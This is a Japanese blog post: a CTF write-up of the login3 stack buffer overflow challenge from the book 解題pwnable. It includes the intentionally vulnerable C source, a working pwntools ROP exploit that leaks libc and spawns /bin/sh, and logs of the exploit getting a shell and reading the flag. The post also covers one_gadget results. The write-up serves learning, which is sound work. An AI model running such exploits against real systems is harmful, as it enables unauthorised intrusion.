以下の内容はhttps://daisuke20240310.hatenablog.com/entry/kaidai_4より取得しました。


書籍「解題pwnable」の第4章「login3(スタックバッファオーバーフロー3)」を読んだ

前回 から、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。

今回は、第4章の「login3(スタックバッファオーバーフロー3)」を読んでいきたいと思います。

それでは、やっていきます。

参考文献

今回、題材にさせて頂いた「解題pwnable」です。

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧
・第1回:Ghidraで始めるリバースエンジニアリング(環境構築編)
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方(GPU実行時間の見積りとパスワード付きZIPファイル)
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)
・第37回:picoCTF 2024:Reverse Engineeringの全7問をやってみた(Windowsプログラムの3問は後日やります)
・第38回:picoCTF 2024:General Skillsの全10問をやってみた
・第39回:picoCTF 2024:Web Exploitationの全6問をやってみた(最後の2問は解けず)
・第40回:picoCTF 2024:Forensicsの全8問をやってみた(最後の2問は解けず)
・第41回:picoCTF 2024:Cryptographyの全5問をやってみた(最後の2問は手つかず)
・第42回:picoCTF 2023:General Skillsの全6問をやってみた
・第43回:picoCTF 2023:Reverse Engineeringの全9問をやってみた
・第44回:picoCTF 2023:Binary Exploitationの全7問をやってみた(最後の1問は後日やります)
・第45回:書籍「セキュリティコンテストのためのCTF問題集」を読んだ
・第46回:書籍「詳解セキュリティコンテスト」のReversingを読んだ
・第47回:書籍「詳解セキュリティコンテスト」のPwnableのシェルコードを読んだ
・第48回:書籍「バイナリファイル解析 実践ガイド」を読んだ
・第49回:書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ
・第50回:書籍「詳解セキュリティコンテスト」Pwnableの共有ライブラリと関数呼び出しを読んだ
・第51回:picoCTF 2025:General Skillsの全5問をやってみた
・第52回:picoCTF 2025:Reverse Engineeringの全7問をやってみた
・第53回:picoCTF 2025:Binary Exploitationの全6問をやってみた
・第54回:書籍「詳解セキュリティコンテスト」Pwnableの仕様に起因する脆弱性を読んだ
・第55回:システムにインストールされたものと異なるバージョンのglibcを使う方法
・第56回:書籍「詳解セキュリティコンテスト」Pwnableのヒープベースエクスプロイトを読んだ
・第57回:書籍「解題pwnable」の第1章「準備」を読んだ
・第58回:書籍「解題pwnable」の第2章「login1(スタックバッファオーバーフロー1)」を読んだ
・第59回:書籍「解題pwnable」の第3章「login2(スタックバッファオーバーフロー2)」を読んだ
・第60回:書籍「解題pwnable」の第4章「login3(スタックバッファオーバーフロー3)」を読んだ ← 今回

以下は、の公式サイトです。特に追加の情報はありませんでした。

nextpublishing.jp

また、以下は、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」の公式の Docker Hub です。書籍では、tag として、3 を使っていますが、4 がアップされています。とりあえず、3 を使ってやっていきます。

https://hub.docker.com/r/kusanok/ctfpwn

では、書籍の章を参考に書き進めていきます。

第4章:login3(スタックバッファオーバーフロー3)

4.1:問題の概要

ソースコード(login3.c)と、プログラムバイナリ(login3)、libc(libc-2.31.so)が提供されています。

初回 で紹介したように、docker を起動しておき、ブラウザにアクセスします。下図のように、それぞれのリンクをクリックすることで、ダウンロードすることが出来ます。

login3
login3

実践

まずは、自力でやっていきます。

実行権限を付与しておきます。また、最初から、glibc-2.31 に依存ライブラリを変更しておきます(方法、経緯などは、システムにインストールされたものと異なるバージョンのglibcを使う方法 を参考にしてください)。今回は、libc-2.31.so が提供されているので不要かもしれませんが、一応準備しておきます。

あと、表層解析します。NX disable なので、メモリ上のコードを実行できます。

$ chmod +x login3

$ cp ./login3 ./login3_patch

$ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./login3_patch 

$ ldd login3
        linux-vdso.so.1 (0x00007ffd45f86000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3281929000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f3281b25000)

$ file login3_patch
login3_patch: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=b44231ea75df75583d86800fca2461911c7fb436, not stripped

$ ~/bin/checksec --file=login3_patch
RELRO          STACK CANARY     NX           PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX disabled  No PIE  No RPATH  RW-RUNPATH  70 Symbols  No       0          2            login3_patch

$ pwn checksec --file=login3_patch
[*] '/home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu'
    Stripped:   No

実行してみます。

問題文は、「You can login. So what?」です。ソースコードを見ると、ID は admin のようなので、そちらでも実行してみます。成功しましたが、フラグは表示されません。シェルを取る必要がありそうです。

$ ./login3
ID: aaa
Invalid ID

$ ./login3
ID: admin
Login Succeeded

ソースコード(login3.c)を見ていきます。

setup関数は、環境準備です。main関数を見ると、ID は admin であることが分かります。

ローカル変数の id は、スタックバッファオーバーフローを起こせそうです。セキュリティ機構としては、シェルコードの実行が可能ですが、スタックのアドレスが必要になります。もしくは、リターンアドレスを書き換えて、ROP を実行して、printf関数で、GOT の値を読み出して、libc のアドレスを算出し、main関数に戻して、次の ROP で、system関数を実行する、ということができる可能性があります。

//  gcc login3.c -o login3 -fno-stack-protector -no-pie -fcf-protection=none
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char *gets(char *s);

void setup()
{
    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

int main()
{
    char id[0x20] = "";

    setup();

    printf("ID: ");
    gets(id);

    if (strcmp(id, "admin") == 0)
        printf("Login Succeeded\n");
    else
        printf("Invalid ID\n");
}

GDB で起動して、スタックの状況を確認します。

$ gdb -q login3_patch
Reading symbols from login3_patch...

pwndbg> start
Temporary breakpoint 1 at 0x4011e5

pwndbg> disassemble
Dump of assembler code for function main:
   0x00000000004011e1 <+0>:     push   rbp
   0x00000000004011e2 <+1>:     mov    rbp,rsp
=> 0x00000000004011e5 <+4>:     sub    rsp,0x20
   0x00000000004011e9 <+8>:     mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004011f1 <+16>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004011f9 <+24>:    mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000401201 <+32>:    mov    QWORD PTR [rbp-0x8],0x0
   0x0000000000401209 <+40>:    mov    eax,0x0
   0x000000000040120e <+45>:    call   0x401176 <setup>
   0x0000000000401213 <+50>:    lea    rdi,[rip+0xdea]        # 0x402004
   0x000000000040121a <+57>:    mov    eax,0x0
   0x000000000040121f <+62>:    call   0x401040 <printf@plt>
   0x0000000000401224 <+67>:    lea    rax,[rbp-0x20]
   0x0000000000401228 <+71>:    mov    rdi,rax
   0x000000000040122b <+74>:    call   0x401070 <gets@plt>
   0x0000000000401230 <+79>:    lea    rax,[rbp-0x20]
   0x0000000000401234 <+83>:    lea    rsi,[rip+0xdce]        # 0x402009
   0x000000000040123b <+90>:    mov    rdi,rax
   0x000000000040123e <+93>:    call   0x401060 <strcmp@plt>
   0x0000000000401243 <+98>:    test   eax,eax
   0x0000000000401245 <+100>:   jne    0x401255 <main+116>
   0x0000000000401247 <+102>:   lea    rdi,[rip+0xdc1]        # 0x40200f
   0x000000000040124e <+109>:   call   0x401030 <puts@plt>
   0x0000000000401253 <+114>:   jmp    0x401261 <main+128>
   0x0000000000401255 <+116>:   lea    rdi,[rip+0xdc3]        # 0x40201f
   0x000000000040125c <+123>:   call   0x401030 <puts@plt>
   0x0000000000401261 <+128>:   mov    eax,0x0
   0x0000000000401266 <+133>:   leave
   0x0000000000401267 <+134>:   ret
End of assembler dump.

スタックを可視化します。

アドレス サイズ 内容
rbp - 0x20 32 id[32](rsp)
rbp

シェルを取るためのシェルコードは、48byte 必要でした。id配列に置くのは厳しいので、リターンアドレス以降に置く必要がありますが、スタックの領域を超えないかが少し心配です。

確認したところ、大丈夫そうです。

pwndbg> i r $rsp
rsp            0x7fffffffdd30      0x7fffffffdd30

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x3ff000           0x400000 rw-p     1000      0 /home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch
          0x400000           0x401000 r--p     1000   1000 /home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch
          0x401000           0x402000 r-xp     1000   2000 /home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch
          0x402000           0x403000 r--p     1000   3000 /home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch
          0x403000           0x404000 r--p     1000   3000 /home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch
          0x404000           0x405000 rw-p     1000   4000 /home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch
    0x7ffff7dd5000     0x7ffff7dfa000 r--p    25000      0 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so
    0x7ffff7dfa000     0x7ffff7f72000 r-xp   178000  25000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so
    0x7ffff7f72000     0x7ffff7fbc000 r--p    4a000 19d000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so
    0x7ffff7fbc000     0x7ffff7fbd000 ---p     1000 1e7000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so
    0x7ffff7fbd000     0x7ffff7fc0000 r--p     3000 1e7000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so
    0x7ffff7fc0000     0x7ffff7fc3000 rw-p     3000 1ea000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so
    0x7ffff7fc3000     0x7ffff7fc9000 rw-p     6000      0 [anon_7ffff7fc3]
    0x7ffff7fc9000     0x7ffff7fcd000 r--p     4000      0 [vvar]
    0x7ffff7fcd000     0x7ffff7fcf000 r-xp     2000      0 [vdso]
    0x7ffff7fcf000     0x7ffff7fd0000 r--p     1000      0 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so
    0x7ffff7fd0000     0x7ffff7ff3000 r-xp    23000   1000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so
    0x7ffff7ff3000     0x7ffff7ffb000 r--p     8000  24000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000  2c000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000  2d000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000      0 [anon_7ffff7ffe]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]

しかし、id配列のアドレスを取得するのが難しそうです。

次に、ROP を考えてみます。特に問題は無さそうです。内容は、上で言った通りです。スタックバッファオーバーフローを発生させて、リターンアドレスに ROPガジェットを配置します。ROPガジェットの内容は、printf関数で、GOT の値を読み出して、libc のアドレスを算出し、main関数に戻して、次の ROP で、system関数を実行します。

エクスプロイトコードを実装しました。

#!/usr/bin/env python3
from pwn import *

bin_file = './login3_patch'
context(os = 'linux', arch = 'amd64')
context(terminal = ['tmux', 'splitw', '-h'])
context.log_level = 'debug'

binf = ELF( bin_file )

libc = binf.libc
offset_libc_setvbuf = libc.functions['setvbuf'].address
addr_got_setvbuf = binf.got['setvbuf']

def attack( proc, **kwargs ):
    
    rop = ROP( binf )
    rop.raw( rop.ret ) # 16byteアライメントのため
    rop.printf( addr_got_setvbuf )
    rop.raw( rop.ret ) # 16byteアライメントのため
    rop.main()
    
    proc.sendlineafter( 'ID: ', b'a' * 32 + p64(0xdeadbeaf) + bytes(rop) )
    proc.recvuntil( "Invalid ID" )
    proc.recv(1)
    addr_libc_setvbuf = unpack( proc.recv(6), 'all' )
    libc.address = addr_libc_setvbuf - offset_libc_setvbuf
    info( f"addr_libc_base = {libc.address:#x}, addr_libc_setvbuf={addr_libc_setvbuf:#x}" )
    addr_libc_str_sh = next( libc.search(b'/bin/sh') )
    
    rop = ROP( libc )
    rop.raw( rop.ret )
    rop.system( addr_libc_str_sh )
    
    proc.sendlineafter('ID: ', b'a' * 32 + p64(0xdeadbeaf) + bytes(rop) )
    
    #info( proc.recvall() )

def main():
    
    adrs = "localhost"
    port = 10003
    
    #proc = gdb.debug( bin_file )
    #proc = process( bin_file )
    proc = remote( adrs, port )
    
    attack( proc )
    proc.interactive()

if __name__ == '__main__':
    main()

実行してみます。

無事に、シェルが取れました。

$ python exploit_login3.py
[*] '/home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu'
    Stripped:   No
[*] '/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Starting local process './login3_patch' argv=[b'./login3_patch'] : pid 1477731
[*] Loaded 14 cached gadgets for './login3_patch'
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x4 bytes:
    b'ID: '
[DEBUG] Sent 0x59 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  xaaaaxaaaaxaaaaxaaaax
    *
    00000020  af be ad de  00 00 00 00  1a 10 40 00  00 00 00 00  x····x····x··@·x····x
    00000030  d3 12 40 00  00 00 00 00  40 40 40 00  00 00 00 00  x··@·x····x@@@·x····x
    00000040  40 10 40 00  00 00 00 00  1a 10 40 00  00 00 00 00  x@·@·x····x··@·x····x
    00000050  e1 11 40 00  00 00 00 00  0a                        x··@·x····x·x
    00000059
/home/user/svn/experiment/kaidai_pwnable/chapter4/exploit_login3.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  proc.recvuntil( "Invalid ID" )
[DEBUG] Received 0x15 bytes:
    00000000  49 6e 76 61  6c 69 64 20  49 44 0a 60  3e fe 66 d6  xInvaxlid xID·`x>·f·x
    00000010  7f 49 44 3a  20                                     x·ID:x x
    00000015
[*] addr_libc_base = 0x7fd666f5c000, addr_libc_setvbuf=0x7fd666fe3e60
[*] Loaded 200 cached gadgets for '/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so'
[DEBUG] Sent 0x49 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  xaaaaxaaaaxaaaaxaaaax
    *
    00000020  af be ad de  00 00 00 00  79 16 f8 66  d6 7f 00 00  x····x····xy··fx····x
    00000030  72 2b f8 66  d6 7f 00 00  aa 35 11 67  d6 7f 00 00  xr+·fx····x·5·gx····x
    00000040  10 14 fb 66  d6 7f 00 00  0a                        x···fx····x·x
    00000049
[*] Switching to interactive mode
[DEBUG] Received 0xb bytes:
    b'Invalid ID\n'
Invalid ID
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x46 bytes:
    b'core  exploit_login3.py  libc-2.31.so  login3  login3.c  login3_patch\n'
core  exploit_login3.py  libc-2.31.so  login3  login3.c  login3_patch
$
[*] Stopped process './login3_patch' (pid 1477731)

サーバの方もやってみます。こちらも成功しました。

$ python exploit_login3.py
[*] '/home/user/svn/experiment/kaidai_pwnable/chapter4/login3_patch'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu'
    Stripped:   No
[*] '/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Opening connection to localhost on port 10003: Done
[*] Loaded 14 cached gadgets for './login3_patch'
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x4 bytes:
    b'ID: '
[DEBUG] Sent 0x59 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  xaaaaxaaaaxaaaaxaaaax
    *
    00000020  af be ad de  00 00 00 00  1a 10 40 00  00 00 00 00  x····x····x··@·x····x
    00000030  d3 12 40 00  00 00 00 00  40 40 40 00  00 00 00 00  x··@·x····x@@@·x····x
    00000040  40 10 40 00  00 00 00 00  1a 10 40 00  00 00 00 00  x@·@·x····x··@·x····x
    00000050  e1 11 40 00  00 00 00 00  0a                        x··@·x····x·x
    00000059
/home/user/svn/experiment/kaidai_pwnable/chapter4/exploit_login3.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  proc.recvuntil( "Invalid ID" )
[DEBUG] Received 0x15 bytes:
    00000000  49 6e 76 61  6c 69 64 20  49 44 0a 60  de f6 e6 3b  xInvaxlid xID·`x···;x
    00000010  7f 49 44 3a  20                                     x·ID:x x
    00000015
[*] addr_libc_base = 0x7f3be6ee6000, addr_libc_setvbuf=0x7f3be6f6de60
[*] Loaded 200 cached gadgets for '/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so'
[DEBUG] Sent 0x49 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  xaaaaxaaaaxaaaaxaaaax
    *
    00000020  af be ad de  00 00 00 00  79 b6 f0 e6  3b 7f 00 00  x····x····xy···x;···x
    00000030  72 cb f0 e6  3b 7f 00 00  aa d5 09 e7  3b 7f 00 00  xr···x;···x····x;···x
    00000040  10 b4 f3 e6  3b 7f 00 00  0a                        x····x;···x·x
    00000049
[*] Switching to interactive mode
[DEBUG] Received 0xb bytes:
    b'Invalid ID\n'
Invalid ID
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x1a bytes:
    b'flag.txt\n'
    b'login3\n'
    b'login3.sh\n'
flag.txt
login3
login3.sh
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x17 bytes:
    b'FLAG{vOvF4gQyzrRq50eH}\n'
FLAG{vOvF4gQyzrRq50eH}
$
[*] Closed connection to localhost port 10003

login3 Submit
login3 Submit

4.2:One-gadget RCE

ここでは、One-gadget RCE を探してくれる、one_gadge というツールの説明がされています。libc内には、そこにジャンプするだけでシェルを起動できる場所(アドレス)があります。libc のバージョンが変われば、そのアドレスも変わりますが、このアドレスのことを One-gadget RCE と言うそうです。

one_gadget は、第1章の「準備」で、必要なツールということで紹介されていましたが、私自身はスルーしていました。one_gadget は、Ruby のツールなので、Ruby の環境を準備することが気が進まなかったからです。しっかり説明してくれているので、これを機にやってみようと思います。

まず、Parrot OS 6.1 に、Ruby の環境が入っているかを確認します。

既にインストールされてそうです(Parrot OS は、やはり優秀だと思います)。試しに、簡単なワンライナーを動かしてみると、無事に動きました。

$ ruby -v
ruby 3.1.2p20 (2022-04-12 revision 4491bb740a) [x86_64-linux-gnu]

$ ruby -e 'print "\x46^x13\x00\x00"' | hexdump -C
00000000  46 5e 78 31 33 00 00                              |F^x13..|
00000007

では、one_gadget をインストールしてみます。問題なさそうです。

$ sudo gem install one_gadget
Fetching bindata-2.5.1.gem
Fetching elftools-1.3.1.gem
Fetching one_gadget-1.10.0.gem
Successfully installed bindata-2.5.1
Successfully installed elftools-1.3.1
Successfully installed one_gadget-1.10.0
Parsing documentation for bindata-2.5.1
Installing ri documentation for bindata-2.5.1
Parsing documentation for elftools-1.3.1
Installing ri documentation for elftools-1.3.1
Parsing documentation for one_gadget-1.10.0
Installing ri documentation for one_gadget-1.10.0
Done installing documentation for bindata, elftools, one_gadget after 28 seconds
3 gems installed

$ one_gadget -v
OneGadget Version 1.10.0

今回、配布されていた libc(libc-2.31.so)を使って、One-gadget RCE を探して見たいと思います。

いくつか見つかりました。constraints は、この One-gadget RCE を使うための条件で、これを満たす必要があります。例えば、先頭の 0xe6aee の場合、r15 と r12 をそれらしい値か、NULL に設定してから、この One-gadget RCE のアドレスにジャンプする必要があるということです。

One-gadget RCE を使うことで、シェルの起動が気軽に行えるようになりました。

$ one_gadget libc-2.31.so
0xe6aee execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

4.3:ASLRとASLRの回避

ここでは、ASLR(Address Space Layout Randomization)についての説明と、その回避方法について解説されています。

ALSR は、共有ライブラリ、ヒープ、スタックの位置が、実行するたびに、ランダムに変更される仕組みです。

ASLR の回避については、GOT に libc のアドレスがあるので、このアドレスをリークすればいい、という内容が書かれていました。

4.4:Return-oriented programming

タイトルの略が、ROP です。

ここでは、ROP についての説明と、特に、今回の問題の攻略のためには、どのような ROPガジェットを作ればいいか、ということが説明されています。

基本的な内容が多いので、割愛します。

4.5:攻略

今回の問題に対する攻略方法が解説されています。ROP を使って、printf関数の GOT を puts関数で出力して、いったん、main関数にジャンプさせます。libc のベースアドレスを計算して、次の入力の ROP で、One-gadget RCE を設定して、シェルを取っています。

まぁ、だいたい同じですね。

ただ、One-gadget RCE について、いろいろ書かれています。まず、RubyGems(gem)を使って、one_gadget をインストールした場合、全てのバージョンを試したけど、glibc-2.31 の場合は、うまくいかなかったとのことです。そこで、GitHub のソースからビルドして、ようやく有効な One-gadget RCE が見つかったとのことです。私は、やはり、One-gadget RCE は使わないことにします。

4.6:pwntools

上の 4.5 のエクスプロイトコードは、pwntools を使った実装ではありませんでした。

ここでは、4.5 のエクスプロイトコードを、pwntools を使って実装し直されていて、それについて、解説されています。

特に目新しい記述もなかったので、割愛します。

以上で、第4章「login3(スタックバッファオーバーフロー3)」は終了です。

おわりに

引き続き、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。今回は、第4章「login3(スタックバッファオーバーフロー3)」をやりました。

次回は、第5章「rot13(書式文字列攻撃)」を進める予定です。

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。




以上の内容はhttps://daisuke20240310.hatenablog.com/entry/kaidai_4より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14